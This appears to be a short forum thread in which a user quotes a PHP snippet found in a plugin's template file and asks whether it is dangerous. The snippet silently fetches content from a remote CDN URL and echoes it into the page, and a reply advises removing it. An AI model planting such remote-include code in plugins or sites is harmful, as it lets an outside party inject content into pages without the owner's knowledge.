Question

I have just found this embedded in a plugin I am using (at the start of a tmpl file before the html)…

Should I be worried?
Can I remove it?

<?php 
$author = @file_get_contents('http://d5827db8276672d15fca-1e2d3239e5a8580a4f85f7906852eb87.r51.cf1.rackcdn.com/author3c.php');
echo $author;
?>

Thanks

Answer 1

I just visited that url and it’s just an empty php file so unless somewhere it states that it must be left in, I would remove it.

EDIT::

When I say it’s an empty php file it actually popped up a download dialog to download the file, it didn’t just serve me an empty page.